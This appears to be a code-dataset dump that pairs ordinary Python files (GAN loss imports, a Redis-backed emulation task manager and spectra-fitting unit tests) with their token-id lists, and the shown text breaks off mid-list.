718,
376,
29926,
2460,
336,
695,
613,
29832,
2303,
29918,
9464,
718,
376,
29926,
2460,
336,
695,
5783,
13,
29937,
3188,
29918,
9700,
29889,
5325,
29889,
5504,
29898,
4422,
29889,
3757,
25397,
29918,
5325,
29918,
8977,
29898,
17353,
29918,
9464,
718,
376,
29886,
29941,
29879,
29899,
29896,
29889,
29900,
613,
29832,
2303,
29918,
9464,
718,
376,
29886,
29941,
29879,
29899,
29896,
29889,
29900,
5783,
13,
29937,
3188,
29918,
9700,
29889,
5325,
29889,
5504,
29898,
4422,
29889,
3757,
25397,
29918,
5325,
29918,
8977,
29898,
17353,
29918,
9464,
718,
376,
11707,
287,
381,
613,
29832,
2303,
29918,
9464,
718,
376,
11707,
287,
381,
5783,
13,
29937,
3188,
29918,
9700,
29889,
5325,
29889,
5504,
29898,
4422,
29889,
3757,
25397,
29918,
5325,
29918,
8977,
29898,
17353,
29918,
9464,
718,
376,
1982,
3972,
613,
29832,
2303,
29918,
9464,
718,
376,
1982,
3972,
5783,
13,
29937,
3188,
29918,
9700,
29889,
5325,
29889,
5504,
29898,
4422,
29889,
3757,
25397,
29918,
5325,
29918,
8977,
29898,
17353,
29918,
9464,
718,
11393,
29885,
29906,
613,
29832,
2303,
29918,
9464,
718,
11393,
29885,
29906,
5783,
13,
29937,
1275,
9166,
9166,
9166,
9166,
4936,
25512,
13,
13,
29937,
1275,
9166,
9166,
9166,
9166,
4936,
25512,
13,
29937,
18008,
6263,
4163,
13,
29937,
6058,
29923,
512,
2325,
408,
1784,
4654,
6263,
7117,
408,
4312,
29889,
450,
5285,
363,
13,
29937,
1269,
697,
881,
1106,
763,
278,
1494,
29889,
450,
1024,
1818,
1369,
411,
13,
29937,
525,
22585,
29899,
22633,
29899,
4286,
13,
9392,
353,
3509,
29889,
24535,
8552,
29898,
3188,
29918,
9700,
29897,
13,
9392,
29889,
978,
353,
376,
22585,
29899,
22633,
29899,
6289,
29908,
13,
9392,
29889,
3069,
353,
376,
29896,
29900,
29889,
29896,
29900,
29889,
29929,
29929,
29889,
29906,
29896,
29947,
29908,
13,
9392,
29889,
2962,
29918,
2248,
353,
29871,
29896,
13,
9392,
29889,
4258,
9246,
353,
376,
6904,
3389,
29899,
8452,
29889,
845,
29908,
13,
9392,
29889,
5325,
29961,
17353,
29918,
9464,
718,
376,
3389,
29899,
8452,
29889,
845,
3108,
353,
376,
3389,
29899,
8452,
29889,
845,
29908,
13,
29937,
14402,
1438,
9273,
29915,
29873,
367,
7136,
29899,
29886,
27464,
472,
599,
13,
9392,
29889,
1949,
29918,
29883,
2361,
353,
29871,
29896,
29900,
13,
2917,
29889,
1202,
29918,
9700,
29898,
9392,
29897,
13,
13,
9392,
353,
3509,
29889,
24535,
8552,
29898,
3188,
29918,
9700,
29897,
13,
9392,
29889,
978,
353,
376,
22585,
29899,
22633,
29899,
2288,
29908,
13,
9392,
29889,
3069,
353,
376,
29896,
29900,
29889,
29896,
29900,
29889,
29929,
29929,
29889,
29906,
29906,
29896,
29908,
13,
9392,
29889,
2962,
29918,
2248,
353,
29871,
29906,
13,
9392,
29889,
4258,
9246,
353,
376,
6904,
3389,
29899,
12445,
29889,
845,
29908,
13,
9392,
29889,
5325,
29961,
17353,
29918,
9464,
718,
376,
3389,
29899,
12445,
29889,
845,
3108,
353,
376,
3389,
29899,
12445,
29889,
845,
29908,
13,
29937,
14402,
1438,
9273,
29915,
29873,
367,
7136,
29899,
29886,
27464,
472,
599,
13,
9392,
29889,
1949,
29918,
29883,
2361,
353,
29871,
29896,
29900,
13,
2917,
29889,
1202,
29918,
9700,
29898,
9392,
29897,
13,
13,
9392,
353,
3509,
29889,
24535,
8552,
29898,
3188,
29918,
9700,
29897,
13,
9392,
29889,
978,
353,
376,
22585,
29899,
22633,
29899,
1372,
29908,
13,
9392,
29889,
3069,
353,
376,
29896,
29900,
29889,
29896,
29900,
29889,
29929,
29929,
29889,
29906,
29896,
29946,
29908,
13,
9392,
29889,
2962,
29918,
2248,
353,
29871,
29941,
13,
9392,
29889,
4258,
9246,
353,
376,
6904,
3389,
29899,
9375,
29889,
845,
29908,
13,
9392,
29889,
5325,
29961,
17353,
29918,
9464,
718,
376,
3389,
29899,
9375,
29889,
845,
3108,
353,
376,
3389,
29899,
9375,
29889,
845,
29908,
13,
29937,
14402,
1438,
9273,
29915,
29873,
367,
7136,
29899,
29886,
27464,
472,
599,
13,
9392,
29889,
1949,
29918,
29883,
2361,
353,
29871,
29945,
13,
2917,
29889,
1202,
29918,
9700,
29898,
9392,
29897,
13,
13,
9392,
353,
3509,
29889,
24535,
8552,
29898,
3188,
29918,
9700,
29897,
13,
9392,
29889,
978,
353,
376,
22585,
29899,
22633,
29899,
2518,
29908,
13,
9392,
29889,
3069,
353,
376,
29896,
29900,
29889,
29896,
29900,
29889,
29929,
29929,
29889,
29906,
29896,
29946,
29908,
13,
9392,
29889,
2962,
29918,
2248,
353,
29871,
29946,
13,
9392,
29889,
4258,
9246,
353,
376,
6904,
3389,
29899,
1718,
29909,
29889,
845,
29908,
13,
9392,
29889,
5325,
29961,
17353,
29918,
9464,
718,
376,
3389,
29899,
1718,
29909,
29889,
845,
3108,
353,
376,
3389,
29899,
1718,
29909,
29889,
845,
29908,
13,
29937,
14402,
1438,
9273,
29915,
29873,
367,
7136,
29899,
29886,
27464,
472,
599,
13,
9392,
29889,
1949,
29918,
29883,
2361,
353,
29871,
29945,
13,
2917,
29889,
1202,
29918,
9700,
29898,
9392,
29897,
13,
13,
29937,
1275,
9166,
9166,
9166,
9166,
4936,
25512,
13,
13,
29937,
1275,
9166,
9166,
9166,
9166,
4936,
25512,
13,
29937,
12904,
261,
4163,
13,
2974,
353,
3509,
29889,
24535,
8552,
29898,
3188,
29918,
9700,
29897,
13,
2974,
29889,
978,
353,
376,
2974,
29908,
13,
29937,
6058,
29923,
17296,
2400,
881,
367,
11217,
408,
4312,
639,
317,
2692,
11780,
29889,
13,
29937,
13,
29937,
1923,
29889,
3069,
881,
367,
4784,
408,
7429,
408,
278,
6724,
5177,
13,
29937,
9657,
1078,
29889,
450,
17439,
29881,
1358,
934,
393,
338,
1065,
411,
445,
2295,
934,
674,
3407,
263,
13,
29937,
3153,
525,
3069,
5235,
29915,
934,
5982,
297,
12078,
29899,
2917,
29914,
9435,
29914,
2917,
6294,
450,
3495,
13,
29937,
5235,
934,
674,
1712,
263,
1051,
310,
599,
664,
303,
800,
297,
278,
5177,
411,
278,
13,
29937,
1494,
2913,
29899,
25048,
630,
2472,
29901,
13,
29937,
5641,
3211,
29892,
1353,
310,
28337,
29892,
1904,
1024,
29892,
3692,
278,
1788,
338,
11266,
7097,
287,
13,
29937,
13,
29937,
1923,
29889,
3069,
881,
367,
731,
304,
697,
310,
278,
5641,
14157,
297,
278,
3495,
5235,
934,
13,
29937,
393,
674,
367,
1304,
29889,
13,
2974,
29889,
3069,
353,
376,
29896,
29900,
29889,
29896,
29900,
29889,
29929,
29929,
29889,
29906,
29896,
29929,
29908,
13,
2974,
29889,
2962,
29918,
2248,
353,
29871,
29945,
13,
2974,
29889,
4258,
9246,
353,
376,
6904,
3389,
29899,
5498,
2265,
29889,
845,
29908,
13,
2974,
29889,
5325,
3366,
29914,
5184,
29914,
1915,
16575,
29914,
735,
725,
29914,
941,
29941,
29914,
2109,
29914,
3389,
29899,
5498,
2265,
29889,
845,
3108,
353,
376,
3389,
29899,
5498,
2265,
29889,
845,
29908,
13,
2974,
29889,
1949,
29918,
29883,
2361,
353,
29871,
29906,
13,
29937,
1275,
9166,
9166,
9166,
9166,
4936,
25512,
13,
2917,
29889,
1202,
29918,
9700,
29898,
2974,
29897,
13,
13,
29937,
1275,
9166,
9166,
9166,
9166,
4936,
25512,
13,
29937,
3323,
7588,
495,
4163,
13,
4645,
353,
3509,
29889,
24535,
8552,
29898,
3188,
29918,
9700,
29897,
13,
4645,
29889,
978,
353,
376,
4645,
29908,
13,
29937,
6058,
29923,
3132,
29889,
3069,
674,
367,
6336,
24146,
491,
17439,
29881,
1358,
29889,
806,
5564,
366,
731,
13,
29937,
445,
304,
2113,
29915,
29873,
4383,
29889,
3132,
29889,
3069,
674,
10201,
367,
731,
2729,
373,
13,
29937,
3132,
29889,
1949,
29918,
29883,
2361,
29892,
920,
1784,
13154,
526,
6790,
297,
278,
17439,
29881,
1358,
29892,
322,
607,
13,
29937,
1904,
2983,
515,
278,
3495,
5235,
934,
526,
6068,
304,
1065,
3132,
317,
2692,
29879,
29889,
13,
4645,
29889,
2962,
29918,
2248,
353,
29871,
29953,
13,
4645,
29889,
3069,
353,
376,
24895,
29928,
29908,
13,
4645,
29889,
4258,
9246,
353,
376,
6904,
3389,
29899,
20633,
29899,
1915,
16575,
29889,
845,
29908,
13,
29937,
6058,
29923,
17296,
2400,
881,
367,
11217,
408,
4312,
639,
317,
2692,
11780,
29889,
13,
29937,
13,
29937,
960,
11860,
29876,
29908,
338,
2198,
12214,
297,
3132,
29889,
5085,
29892,
372,
674,
367,
8611,
411,
263,
13,
29937,
5412,
6043,
15783,
278,
3132,
317,
2692,
29915,
29879,
3553,
29889,
11190,
10631,
310,
445,
746,
263,
13,
29937,
317,
2692,
4225,
263,
5412,
2980,
310,
777,
2656,
29889,
13466,
29892,
1269,
317,
2692,
674,
7150,
278,
13,
29937,
1021,
6273,
29889,
3132,
29889,
5085,
881,
6058,
1712,
738,
12647,
29899,
1054,
787,
470,
3765,
13,
29937,
11839,
29889,
13,
4645,
29889,
5325,
29961,
17353,
29918,
9464,
718,
376,
3389,
29899,
20633,
29899,
1915,
16575,
29889,
845,
3108,
353,
376,
3389,
29899,
20633,
29899,
1915,
16575,
29889,
845,
29908,
13,
4645,
29889,
5085,
353,
6796,
29995,
29876,
3108,
13,
4645,
29889,
1949,
29918,
29883,
2361,
353,
29871,
29896,
13,
29937,
1275,
9166,
9166,
9166,
9166,
4936,
25512,
13,
2917,
29889,
1202,
29918,
9700,
29898,
4645,
29897,
13,
2
] |
catalyst_gan/nn/criterion/__init__.py | WilliamAshbee/gan | 6 | 150220 | <filename>catalyst_gan/nn/criterion/__init__.py
from .bce_gan import (
BCELossDiscriminator, BCELossGenerator,
BCELossDiscriminatorFake, BCELossDiscriminatorReal
)
from .hinge import (
HingeLossDiscriminator, HingeLossGenerator,
HingeLossDiscriminatorFake, HingeLossDiscriminatorReal
)
from .wasserstein import (
WassersteinLossDiscriminator, WassersteinLossGenerator,
WassersteinLossDiscriminatorFake, WassersteinLossDiscriminatorReal,
WassersteinDistance
)
from .metrics import AverageValue, AverageProbability
| [
1,
529,
9507,
29958,
16431,
858,
29918,
6249,
29914,
15755,
29914,
29883,
5385,
291,
29914,
1649,
2344,
26914,
2272,
13,
3166,
869,
29890,
346,
29918,
6249,
1053,
313,
13,
1678,
350,
4741,
29931,
2209,
4205,
29883,
20386,
1061,
29892,
350,
4741,
29931,
2209,
21575,
29892,
13,
1678,
350,
4741,
29931,
2209,
4205,
29883,
20386,
1061,
29943,
1296,
29892,
350,
4741,
29931,
2209,
4205,
29883,
20386,
1061,
21713,
13,
29897,
13,
3166,
869,
2790,
29872,
1053,
313,
13,
1678,
379,
19144,
29931,
2209,
4205,
29883,
20386,
1061,
29892,
379,
19144,
29931,
2209,
21575,
29892,
13,
1678,
379,
19144,
29931,
2209,
4205,
29883,
20386,
1061,
29943,
1296,
29892,
379,
19144,
29931,
2209,
4205,
29883,
20386,
1061,
21713,
13,
29897,
13,
3166,
869,
29893,
9498,
5465,
1053,
313,
13,
1678,
16124,
5465,
29931,
2209,
4205,
29883,
20386,
1061,
29892,
16124,
5465,
29931,
2209,
21575,
29892,
13,
1678,
16124,
5465,
29931,
2209,
4205,
29883,
20386,
1061,
29943,
1296,
29892,
16124,
5465,
29931,
2209,
4205,
29883,
20386,
1061,
21713,
29892,
13,
1678,
16124,
5465,
27469,
13,
29897,
13,
3166,
869,
2527,
10817,
1053,
319,
19698,
1917,
29892,
319,
19698,
1184,
29890,
3097,
13,
2
] |
testbed_frontend/api/emulation/task_manager.py | Ncu-software-research-center/IIOT-testbed | 1 | 55548 | '''
Vortex OpenSplice
This software and documentation are Copyright 2006 to TO_YEAR ADLINK
Technology Limited, its affiliated companies and licensors. All rights
reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
'''
import threading
import time
import redis
from api.emulation import Config, EmulationStatus
from api.emulation.task_queue import TaskQueue
from api.emulation.task_worker import TaskWorker
class TaskManager:
def __init__(self):
self.task_queue = TaskQueue()
self.task_worker = TaskWorker()
self.redis_connection = redis.StrictRedis(
host=Config.FRONTEND_IP, port=Config.REDIS_PORT, password=Config.REDIS_PASSWORD,
encoding="utf-8", decode_responses=True)
self.wait_task()
def wait_task(self):
self.execution_thread = threading.Thread(target=self._exectue_task, name='execution_thread', args=())
self.execution_thread.daemon = True
self.execution_thread.start()
def get_available_device(self):
def check_heartbeat(ip_address):
TIME_LIMIT = 2
current_time = float(self.redis_connection.time()[0])
worker_time = float(self.redis_connection.hget(ip_address, "time"))
return current_time - worker_time < TIME_LIMIT
time.sleep(1)
avaliable_ip_address = []
for ip in self.redis_connection.scan_iter("ip:*"):
if check_heartbeat(ip):
avaliable_ip_address.append(ip)
return avaliable_ip_address
def get_all_tasks(self):
pending_tasks = self.task_queue.get_all_tasks()
executing_task = self.task_worker.executing_task
executing_task['emulation_status'] = self.get_executing_task_status()
return [executing_task] + pending_tasks
def get_task_size(self):
return self.task_queue.get_pending_task_size() + int(self.task_worker.get_executing_task_id() != '0')
def add_task_into_queue(self, task: dict):
new_task = self.task_queue.add_task(task)
return new_task
def _manager_is_running(self):
"""
This function is used to testting.
"""
return True
def _exectue_task(self):
while self._manager_is_running():
if self.task_queue.get_pending_task_size() > 0:
print('execute task')
task = self.task_queue.get_first_task()
self.task_worker.execute_task(task)
print('finish task')
time.sleep(1)
def _abort_executing_task(self):
aborted_task = self.task_worker.abort_executing_task()
return aborted_task
def _cancel_task_from_queue(self, task_id):
canceled_task = self.task_queue.cancel_pending_task(task_id)
return canceled_task
def delete_task(self, task_id):
if self.task_worker.get_executing_task_id() == task_id:
print('abort')
deleted_task = self._abort_executing_task()
else:
deleted_task = self._cancel_task_from_queue(task_id)
return deleted_task
def get_executing_task(self):
return self.task_worker.executing_task
def get_executing_task_status(self):
return self.task_worker.get_executing_task_status()
| [
1,
14550,
13,
462,
418,
6266,
4776,
4673,
5592,
5897,
13,
13,
4013,
7047,
322,
5106,
526,
14187,
1266,
29871,
29906,
29900,
29900,
29953,
304,
7495,
29918,
29979,
26441,
11033,
23714,
29968,
13,
7141,
3049,
3002,
28873,
29892,
967,
23736,
630,
14582,
322,
7794,
575,
943,
29889,
2178,
10462,
13,
690,
9841,
29889,
13,
13,
29931,
293,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
6293,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
13,
1678,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
13,
2525,
2222,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
5721,
7541,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29956,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
13393,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
13400,
800,
1090,
278,
19245,
29889,
13,
12008,
13,
5215,
3244,
292,
13,
5215,
931,
13,
5215,
29825,
13,
13,
3166,
7882,
29889,
331,
2785,
1053,
12782,
29892,
2812,
2785,
5709,
13,
3166,
7882,
29889,
331,
2785,
29889,
7662,
29918,
9990,
1053,
9330,
10620,
13,
3166,
7882,
29889,
331,
2785,
29889,
7662,
29918,
24602,
1053,
9330,
16164,
13,
13,
13,
1990,
9330,
3260,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
29889,
7662,
29918,
9990,
353,
9330,
10620,
580,
13,
4706,
1583,
29889,
7662,
29918,
24602,
353,
9330,
16164,
580,
13,
4706,
1583,
29889,
1127,
275,
29918,
9965,
353,
29825,
29889,
5015,
919,
9039,
275,
29898,
13,
9651,
3495,
29922,
3991,
29889,
15860,
1164,
29911,
11794,
29918,
5690,
29892,
2011,
29922,
3991,
29889,
19386,
3235,
29918,
15082,
29892,
4800,
29922,
3991,
29889,
19386,
3235,
29918,
25711,
17013,
29892,
13,
9651,
8025,
543,
9420,
29899,
29947,
613,
21822,
29918,
26679,
267,
29922,
5574,
29897,
13,
4706,
1583,
29889,
10685,
29918,
7662,
580,
13,
13,
1678,
822,
4480,
29918,
7662,
29898,
1311,
1125,
13,
4706,
1583,
29889,
22256,
29918,
7097,
353,
3244,
292,
29889,
4899,
29898,
5182,
29922,
1311,
3032,
735,
522,
434,
29918,
7662,
29892,
1024,
2433,
22256,
29918,
7097,
742,
6389,
29922,
3101,
13,
4706,
1583,
29889,
22256,
29918,
7097,
29889,
1388,
9857,
353,
5852,
13,
4706,
1583,
29889,
22256,
29918,
7097,
29889,
2962,
580,
13,
13,
1678,
822,
679,
29918,
16515,
29918,
10141,
29898,
1311,
1125,
13,
4706,
822,
1423,
29918,
23057,
915,
271,
29898,
666,
29918,
7328,
1125,
13,
9651,
323,
8890,
29918,
5265,
26349,
353,
29871,
29906,
13,
9651,
1857,
29918,
2230,
353,
5785,
29898,
1311,
29889,
1127,
275,
29918,
9965,
29889,
2230,
580,
29961,
29900,
2314,
13,
9651,
15645,
29918,
2230,
353,
5785,
29898,
1311,
29889,
1127,
275,
29918,
9965,
29889,
29882,
657,
29898,
666,
29918,
7328,
29892,
376,
2230,
5783,
13,
9651,
736,
1857,
29918,
2230,
448,
15645,
29918,
2230,
529,
323,
8890,
29918,
5265,
26349,
13,
13,
4706,
931,
29889,
17059,
29898,
29896,
29897,
13,
4706,
263,
791,
29875,
519,
29918,
666,
29918,
7328,
353,
5159,
13,
4706,
363,
10377,
297,
1583,
29889,
1127,
275,
29918,
9965,
29889,
16192,
29918,
1524,
703,
666,
29901,
20605,
1125,
13,
9651,
565,
1423,
29918,
23057,
915,
271,
29898,
666,
1125,
13,
18884,
263,
791,
29875,
519,
29918,
666,
29918,
7328,
29889,
4397,
29898,
666,
29897,
13,
13,
4706,
736,
263,
791,
29875,
519,
29918,
666,
29918,
7328,
13,
13,
1678,
822,
679,
29918,
497,
29918,
20673,
29898,
1311,
1125,
13,
4706,
28235,
29918,
20673,
353,
1583,
29889,
7662,
29918,
9990,
29889,
657,
29918,
497,
29918,
20673,
580,
13,
4706,
14012,
29918,
7662,
353,
1583,
29889,
7662,
29918,
24602,
29889,
4258,
17068,
29918,
7662,
13,
4706,
14012,
29918,
7662,
1839,
331,
2785,
29918,
4882,
2033,
353,
1583,
29889,
657,
29918,
4258,
17068,
29918,
7662,
29918,
4882,
580,
13,
4706,
736,
518,
4258,
17068,
29918,
7662,
29962,
718,
28235,
29918,
20673,
13,
13,
1678,
822,
679,
29918,
7662,
29918,
2311,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
7662,
29918,
9990,
29889,
657,
29918,
29886,
2548,
29918,
7662,
29918,
2311,
580,
718,
938,
29898,
1311,
29889,
7662,
29918,
24602,
29889,
657,
29918,
4258,
17068,
29918,
7662,
29918,
333,
580,
2804,
525,
29900,
1495,
13,
13,
1678,
822,
788,
29918,
7662,
29918,
8941,
29918,
9990,
29898,
1311,
29892,
3414,
29901,
9657,
1125,
13,
4706,
716,
29918,
7662,
353,
1583,
29889,
7662,
29918,
9990,
29889,
1202,
29918,
7662,
29898,
7662,
29897,
13,
4706,
736,
716,
29918,
7662,
13,
13,
1678,
822,
903,
12847,
29918,
275,
29918,
21094,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
910,
740,
338,
1304,
304,
1243,
1259,
29889,
13,
4706,
9995,
13,
4706,
736,
5852,
13,
13,
1678,
822,
903,
735,
522,
434,
29918,
7662,
29898,
1311,
1125,
13,
4706,
1550,
1583,
3032,
12847,
29918,
275,
29918,
21094,
7295,
13,
9651,
565,
1583,
29889,
7662,
29918,
9990,
29889,
657,
29918,
29886,
2548,
29918,
7662,
29918,
2311,
580,
1405,
29871,
29900,
29901,
13,
18884,
1596,
877,
7978,
3414,
1495,
13,
18884,
3414,
353,
1583,
29889,
7662,
29918,
9990,
29889,
657,
29918,
4102,
29918,
7662,
580,
13,
18884,
1583,
29889,
7662,
29918,
24602,
29889,
7978,
29918,
7662,
29898,
7662,
29897,
13,
18884,
1596,
877,
4951,
728,
3414,
1495,
13,
9651,
931,
29889,
17059,
29898,
29896,
29897,
13,
13,
1678,
822,
903,
370,
441,
29918,
4258,
17068,
29918,
7662,
29898,
1311,
1125,
13,
4706,
633,
18054,
29918,
7662,
353,
1583,
29889,
7662,
29918,
24602,
29889,
370,
441,
29918,
4258,
17068,
29918,
7662,
580,
13,
4706,
736,
633,
18054,
29918,
7662,
13,
13,
1678,
822,
903,
20713,
29918,
7662,
29918,
3166,
29918,
9990,
29898,
1311,
29892,
3414,
29918,
333,
1125,
13,
4706,
508,
346,
839,
29918,
7662,
353,
1583,
29889,
7662,
29918,
9990,
29889,
20713,
29918,
29886,
2548,
29918,
7662,
29898,
7662,
29918,
333,
29897,
13,
4706,
736,
508,
346,
839,
29918,
7662,
13,
13,
1678,
822,
5217,
29918,
7662,
29898,
1311,
29892,
3414,
29918,
333,
1125,
13,
4706,
565,
1583,
29889,
7662,
29918,
24602,
29889,
657,
29918,
4258,
17068,
29918,
7662,
29918,
333,
580,
1275,
3414,
29918,
333,
29901,
13,
9651,
1596,
877,
370,
441,
1495,
13,
9651,
11132,
29918,
7662,
353,
1583,
3032,
370,
441,
29918,
4258,
17068,
29918,
7662,
580,
13,
4706,
1683,
29901,
13,
9651,
11132,
29918,
7662,
353,
1583,
3032,
20713,
29918,
7662,
29918,
3166,
29918,
9990,
29898,
7662,
29918,
333,
29897,
13,
13,
4706,
736,
11132,
29918,
7662,
13,
13,
1678,
822,
679,
29918,
4258,
17068,
29918,
7662,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
7662,
29918,
24602,
29889,
4258,
17068,
29918,
7662,
13,
13,
1678,
822,
679,
29918,
4258,
17068,
29918,
7662,
29918,
4882,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
7662,
29918,
24602,
29889,
657,
29918,
4258,
17068,
29918,
7662,
29918,
4882,
580,
13,
2
] |
breidablik/interpolate/test_spectra.py | ellawang44/Breidablik | 2 | 96315 | from breidablik.interpolate.spectra import Spectra
import numpy as np
import pytest
import warnings
try:
Spectra()
flag = False
except:
flag = True
# skip these tests if the trained models are not present
pytestmark = pytest.mark.skipif(flag, reason = 'No trained Spectra model')
class Test_find_abund:
@classmethod
def setup_class(cls):
cls.models = Spectra()
def test_monontonic(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([1, 3, 2], [4, 5, 6], [1, 1, 1], 4000, 1.5, 0)
def test_shape(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([1, 2], [1], [1], 5000, 2.5, -2)
Test_find_abund.models.find_abund([1], [1, 2], [1], 5000, 2.5, -2)
Test_find_abund.models.find_abund([1], [1], [1, 2], 5000, 2.5, -2)
def test_dimension(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([[1, 2], [2, 3]], [1], [1], 5000, 2.5, -2)
Test_find_abund.models.find_abund([1], [[1, 2], [2, 3]], [1], 5000, 2.5, -2)
Test_find_abund.models.find_abund([1], [1], [[1, 2], [2, 3]], 5000, 2.5, -2)
def test_method(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([1, 2, 3], [4, 5, 6], [1, 1, 1], 5000, 1, 1, method = 'hi')
def test_min_max_abund(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([1], [1], [1], 1, 1, 1, min_abund = 8, max_abund = -1)
def test_abund_prior_warning(self):
with warnings.catch_warnings(record = True) as w:
warnings.simplefilter('always')
Test_find_abund.models.find_abund([600, 700], [1, 0.5], [0.5, 0.5], 5000, 2.5, -2, method = 'chisq', prior = [1, 2, 3], abunds = [1, 2, 3])
Test_find_abund.models.find_abund([600, 700], [1, 0.9], [0.5, 0.5], 5000, 2.5, -2, prior = [1, 2, 3])
Test_find_abund.models.find_abund([600, 700], [1, 0.9], [0.5, 0.5], 5000, 2.5, -2, abunds = [1, 2, 3])
assert len(w) == 3
for i in range(len(w)):
assert issubclass(w[i].category, UserWarning)
def test_wl_overlap(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([1, 2], [1, 0.6], [0.1, 0.21], 5000, 4.5, -1)
def test_abund_prior_shape(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([680, 690], [1, 1], [1, 1], 5000, 2.5, -2, abunds = [1, 2], prior = [1])
Test_find_abund.models.find_abund([680, 690], [1, 1], [1, 1], 5000, 2.5, -2, abunds = [[1, 2]], prior = [[1, 3]])
def test_warning_pred_abund(self):
# define square wave
wls = np.linspace(670.5, 671.4, 1000)
flux = np.full(len(wls), 1)
flux[(670.95 <= wls) & (wls < 670.99)] = 0
flux_err = np.full(len(wls), 0.1)
# catch warning for predicted value outside of grid
with warnings.catch_warnings(record = True) as w:
warnings.simplefilter('always')
Test_find_abund.models.find_abund(wls, flux, flux_err, 6000, 4, -3, method = 'chisq', max_abund = 5)
assert len(w) == 1
assert issubclass(w[0].category, UserWarning)
class Test_predict_flux:
@classmethod
def setup_class(cls):
cls.models = Spectra()
def test_input_shape(self):
with pytest.raises(ValueError):
Test_predict_flux.models.predict_flux([1], 1, 1, 1)
Test_predict_flux.models.predict_flux(1, [1], 1, 1)
Test_predict_flux.models.predict_flux(1, 1, [1], 1)
Test_predict_flux.models.predict_flux(1, 1, 1, [1])
def test_warning_abundance(self):
with warnings.catch_warnings(record = True) as w:
warnings.simplefilter('always')
Test_predict_flux.models.predict_flux(5000, 2.5, -2, -1)
Test_predict_flux.models.predict_flux(5000, 2.5, -2, 5)
assert len(w) == 2
for i in range(len(w)):
assert issubclass(w[i].category, UserWarning)
| [
1,
515,
2078,
333,
370,
5081,
29889,
1639,
3733,
403,
29889,
21494,
336,
1053,
27738,
336,
13,
5215,
12655,
408,
7442,
13,
5215,
11451,
1688,
13,
5215,
18116,
13,
13,
2202,
29901,
13,
1678,
27738,
336,
580,
13,
1678,
7353,
353,
7700,
13,
19499,
29901,
13,
1678,
7353,
353,
5852,
13,
29937,
14383,
1438,
6987,
565,
278,
16370,
4733,
526,
451,
2198,
13,
2272,
1688,
3502,
353,
11451,
1688,
29889,
3502,
29889,
11014,
361,
29898,
15581,
29892,
2769,
353,
525,
3782,
16370,
27738,
336,
1904,
1495,
13,
13,
1990,
4321,
29918,
2886,
29918,
370,
870,
29901,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
6230,
29918,
1990,
29898,
25932,
1125,
13,
4706,
1067,
29879,
29889,
9794,
353,
27738,
336,
580,
13,
13,
1678,
822,
1243,
29918,
3712,
609,
8927,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29896,
29892,
29871,
29941,
29892,
29871,
29906,
1402,
518,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
1402,
518,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
1402,
29871,
29946,
29900,
29900,
29900,
29892,
29871,
29896,
29889,
29945,
29892,
29871,
29900,
29897,
13,
13,
1678,
822,
1243,
29918,
12181,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29896,
29892,
29871,
29906,
1402,
518,
29896,
1402,
518,
29896,
1402,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
29945,
29892,
448,
29906,
29897,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29896,
1402,
518,
29896,
29892,
29871,
29906,
1402,
518,
29896,
1402,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
29945,
29892,
448,
29906,
29897,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29896,
1402,
518,
29896,
1402,
518,
29896,
29892,
29871,
29906,
1402,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
29945,
29892,
448,
29906,
29897,
13,
13,
1678,
822,
1243,
29918,
6229,
2673,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29961,
29896,
29892,
29871,
29906,
1402,
518,
29906,
29892,
29871,
29941,
20526,
518,
29896,
1402,
518,
29896,
1402,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
